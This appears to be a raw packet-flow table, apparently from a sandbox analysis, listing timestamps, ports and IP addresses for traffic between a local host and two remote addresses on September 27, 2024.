Sep 27, 2024 16:18:30.684257030 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:30.718681097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718702078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718729973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718741894 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718745947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718763113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718774080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718780994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718796015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718806982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718823910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718839884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718842030 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718854904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718871117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718878984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718883038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718900919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718916893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718924046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718924999 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718940020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718944073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718961000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718975067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.718977928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.718992949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.719005108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719005108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719010115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.719027042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.719038963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.719039917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719039917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719054937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.719069004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719069004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719082117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.719098091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.719115973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.719127893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719127893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719135046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.719155073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719155073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.719192028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.761523008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.761554003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.761567116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.761591911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.761607885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.761610031 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.761610031 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.761625051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.761641026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.761657000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.761674881 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.761674881 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.761758089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762070894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762132883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762152910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762167931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762183905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762198925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762214899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762234926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762250900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762250900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762250900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762250900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762250900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762263060 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762274027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762307882 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762722969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762749910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762764931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762767076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762792110 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762799025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762814045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762820005 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762834072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762850046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762865067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762865067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762865067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762865067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762881994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762887955 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762931108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762947083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762989998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.762990952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762990952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762990952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.762990952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763005018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763020992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763034105 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763036013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763061047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763108969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763108969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763108969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763108969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763648033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763716936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763717890 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763732910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763778925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763778925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763808012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763823032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763839006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.763858080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763900042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.763900042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.113955975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114043951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114084959 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114084959 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114099979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114154100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114155054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114191055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114217043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114248037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114259958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114304066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114311934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114345074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114351034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114382029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114414930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114419937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114420891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114448071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114474058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114500999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114533901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114563942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114597082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114598036 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114598036 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114598036 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114630938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114639044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114681005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114686012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114718914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114738941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114772081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114804029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114820004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114835978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114840031 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114866972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114871025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114905119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114906073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114939928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.114943027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.114973068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115005970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115039110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115077972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115077972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115092993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115128040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115147114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115161896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115195036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115200043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115231991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115267038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115300894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115302086 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115334988 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115335941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115370989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115400076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115463972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115514040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115546942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115552902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115581989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115614891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115628958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115648985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115680933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115714073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115715981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115715981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115715981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115746975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115782976 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115797043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115830898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115863085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115864038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115897894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115931988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.115935087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115935087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115968943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.115986109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116019964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116055012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116059065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116092920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116096020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116147041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116180897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116211891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116242886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116242886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116242886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116244078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116277933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116281033 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116331100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116364002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116379023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116395950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116477966 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116478920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116559029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116611004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116642952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116676092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116676092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116709948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116719961 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116743088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116776943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116810083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116835117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116835117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116842031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116872072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116905928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116910934 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.116939068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.116974115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117007017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117007971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117007971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117036104 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117041111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117074966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117105961 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117108107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117141008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117170095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117182970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117202044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117238045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117240906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117270947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117304087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117305994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117337942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117367029 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117372990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117571115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117620945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117639065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117655993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117688894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117722988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117755890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117775917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117775917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117775917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117791891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117815018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117825031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117857933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117892027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117892027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117928982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.117930889 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117980003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.117983103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118017912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118052006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118056059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118086100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118114948 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118139029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118172884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118206978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118208885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118258953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118268967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118283033 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118294001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118328094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118330002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118361950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118395090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118400097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118434906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118469954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118484974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118503094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118539095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118571997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118602037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118602037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118607044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118639946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118673086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118694067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118706942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118740082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118771076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118777990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118798018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118804932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118839979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118874073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118927002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118958950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.118988991 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118988991 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.118990898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119024038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119029045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119056940 CEST	80	49613	185.215.113.17	192.168.2.6
